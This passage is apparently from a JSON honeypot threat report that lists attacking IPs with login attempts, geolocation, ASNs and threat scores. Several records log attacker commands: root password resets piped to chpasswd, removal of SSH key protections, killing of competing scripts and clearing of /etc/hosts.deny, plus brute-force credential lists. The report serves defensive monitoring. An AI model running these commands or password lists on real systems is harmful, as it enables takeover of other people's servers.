        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Ev2OkuHWbcTU\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 54994,
      "as_org": "Meteverse Limited.",
      "threat_score": 32.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T01:59:28.226000+00:00",
        "last_seen_30d": "2026-05-28T02:30:47.359000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 42
      }
    },
    "35.210.61.208": {
      "attack_count": 143,
      "first_seen": "2026-05-22T19:51:37.445Z",
      "last_seen": "2026-05-22T20:36:48.880Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "app",
        "tfj"
      ],
      "passwords_attempted": [
        "1",
        "112358",
        "123456789",
        "2005",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin2025",
        "London123",
        "Password123",
        "Password2025",
        "a1a2a3a4",
        "hasan123",
        "qwerty!1",
        "redhat01",
        "redhat@123",
        "testtest",
        "tfj"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:6DKu7aJpKgC2\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 15169,
      "as_org": "Google LLC",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:51:37.445000+00:00",
        "last_seen_30d": "2026-05-22T20:37:54.057000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "79.63.45.2": {
      "attack_count": 126,
      "first_seen": "2026-05-19T19:19:17.704Z",
      "last_seen": "2026-05-20T18:14:07.472Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:19:17.704000+00:00",
        "last_seen_30d": "2026-05-20T18:15:15.782000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 126,
        "Suricata": 63
      }
    },
    "171.25.158.57": {
      "attack_count": 119,
      "first_seen": "2026-05-31T10:03:10.380Z",
      "last_seen": "2026-05-31T10:16:29.825Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "david",
        "345gs5662d34",
        "daniel",
        "student",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "1",
        "1234",
        "1Password",
        "1Q2w3e4r5t!",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin!@#",
        "ChangeMe",
        "Huawei2026",
        "Sy123456",
        "daniel",
        "redhat"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1\\n9GFusX3Te33H\\n9GFusX3Te33H\\n\"|passwd",
        "echo -e \"1\\n9GFusX3Te33H\\n9GFusX3Te33H\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T10:03:10.380000+00:00",
        "last_seen_30d": "2026-05-31T10:17:36.971000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 27
      }
    },
    "189.15.137.73": {
      "attack_count": 100,
      "first_seen": "2026-05-20T19:09:39.952Z",
      "last_seen": "2026-05-21T06:26:10.800Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Uberl\u00e2ndia",
      "asn": 53006,
      "as_org": "ALGAR TELECOM SA",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T19:09:39.952000+00:00",
        "last_seen_30d": "2026-05-21T06:27:19.855000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 50
      }
    },
    "111.228.49.188": {
      "attack_count": 99,
      "first_seen": "2026-05-09T10:27:46.367Z",
      "last_seen": "2026-05-09T10:37:51.004Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 468,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T10:27:39+00:00",
        "last_seen_30d": "2026-05-09T10:39:29.086000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 350,
        "Cowrie": 77,
        "Suricata": 41
      }
    },
    "171.114.227.80": {
      "attack_count": 62,
      "first_seen": "2026-05-18T22:06:12.762Z",
      "last_seen": "2026-05-19T00:55:34.205Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:06:12.762000+00:00",
        "last_seen_30d": "2026-05-19T00:56:39.083000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 32
      }
    },
    "185.79.153.34": {
      "attack_count": 60,
      "first_seen": "2026-05-08T17:51:22.451Z",
      "last_seen": "2026-05-13T09:00:12.936Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 58291,
      "as_org": "ColoCenter b.v.",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:51:22.451000+00:00",
        "last_seen_30d": "2026-05-13T09:01:17.721000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "31.56.209.38": {
      "attack_count": 53,
      "first_seen": "2026-05-02T19:56:46.592Z",
      "last_seen": "2026-05-16T02:55:41.915Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 209373,
      "as_org": "Swissnet LLC",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:47:08.351000+00:00",
        "last_seen_30d": "2026-05-16T03:06:04.484000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 53,
        "Suricata": 48
      }
    },
    "103.206.100.238": {
      "attack_count": 50,
      "first_seen": "2026-05-14T20:49:38.616Z",
      "last_seen": "2026-05-14T20:55:06.344Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Rohtak",
      "asn": 137120,
      "as_org": "Nas Internet Services Private Limited",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T20:49:38.616000+00:00",
        "last_seen_30d": "2026-05-14T20:56:15.297000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "195.160.220.149": {
      "attack_count": 48,
      "first_seen": "2026-05-05T00:58:05.806Z",
      "last_seen": "2026-05-31T12:19:40.946Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Haarlem",
      "asn": 43641,
      "as_org": "SOLLUTIUM EU Sp z.o.o.",
      "threat_score": 52.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:58:05.806000+00:00",
        "last_seen_30d": "2026-05-31T12:20:49.082000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "23.131.184.100": {
      "attack_count": 48,
      "first_seen": "2026-05-14T06:22:07.081Z",
      "last_seen": "2026-05-21T12:32:06.463Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30399,
      "as_org": "Host-Engine.com",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T06:22:07.081000+00:00",
        "last_seen_30d": "2026-05-21T12:33:09.996000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "124.72.53.191": {
      "attack_count": 40,
      "first_seen": "2026-05-19T06:34:31.410Z",
      "last_seen": "2026-05-19T07:47:40.645Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Xiamen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:34:31.410000+00:00",
        "last_seen_30d": "2026-05-19T07:48:46.630000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "107.173.122.15": {
      "attack_count": 36,
      "first_seen": "2026-05-09T11:37:58.513Z",
      "last_seen": "2026-05-31T08:21:59.114Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T11:37:58.513000+00:00",
        "last_seen_30d": "2026-05-31T08:23:06.397000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "209.141.33.207": {
      "attack_count": 36,
      "first_seen": "2026-05-08T18:03:42.777Z",
      "last_seen": "2026-05-28T13:09:37.644Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 41.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T18:03:42.777000+00:00",
        "last_seen_30d": "2026-05-28T13:10:47.249000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "101.185.200.148": {
      "attack_count": 32,
      "first_seen": "2026-05-23T13:50:32.043Z",
      "last_seen": "2026-05-23T14:15:14.015Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Perth",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:50:32.043000+00:00",
        "last_seen_30d": "2026-05-23T14:17:00.473000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 20
      }
    },
    "140.238.160.152": {
      "attack_count": 32,
      "first_seen": "2026-05-07T20:00:44.473Z",
      "last_seen": "2026-05-07T20:30:00.694Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T20:00:44.473000+00:00",
        "last_seen_30d": "2026-05-07T20:31:01.127000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 21
      }
    },
    "180.190.200.30": {
      "attack_count": 30,
      "first_seen": "2026-05-19T04:31:00.997Z",
      "last_seen": "2026-05-19T06:23:42.224Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:31:00.997000+00:00",
        "last_seen_30d": "2026-05-19T06:24:44.543000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 15
      }
    },
    "213.230.93.82": {
      "attack_count": 26,
      "first_seen": "2026-05-14T06:36:25.485Z",
      "last_seen": "2026-05-14T06:44:40.990Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T06:36:25.485000+00:00",
        "last_seen_30d": "2026-05-14T06:45:46.259000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 18
      }
    },
    "183.212.245.90": {
      "attack_count": 24,
      "first_seen": "2026-05-07T08:58:58.629Z",
      "last_seen": "2026-05-07T09:04:35.067Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T08:58:58.629000+00:00",
        "last_seen_30d": "2026-05-07T09:05:44.747000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 12
      }
    },
    "91.174.235.219": {
      "attack_count": 24,
      "first_seen": "2026-05-04T01:43:07.874Z",
      "last_seen": "2026-05-04T02:01:16.647Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "\u00c9tampes",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T01:43:07.874000+00:00",
        "last_seen_30d": "2026-05-04T02:02:25.696000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "125.21.53.232": {
      "attack_count": 23,
      "first_seen": "2026-05-29T21:32:41.609Z",
      "last_seen": "2026-05-29T21:32:46.860Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "belinea"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:32:41.609000+00:00",
        "last_seen_30d": "2026-05-29T21:33:56.351000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "61.241.176.142": {
      "attack_count": 15,
      "first_seen": "2026-05-15T23:27:45.942Z",
      "last_seen": "2026-05-15T23:28:11.703Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "nPSpP4PBW0"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T23:27:45.942000+00:00",
        "last_seen_30d": "2026-05-15T23:29:19.622000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "14.1.104.159": {
      "attack_count": 14,
      "first_seen": "2026-05-21T13:55:13.880Z",
      "last_seen": "2026-05-21T13:56:44.282Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T13:55:13.880000+00:00",
        "last_seen_30d": "2026-05-21T13:57:52.156000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
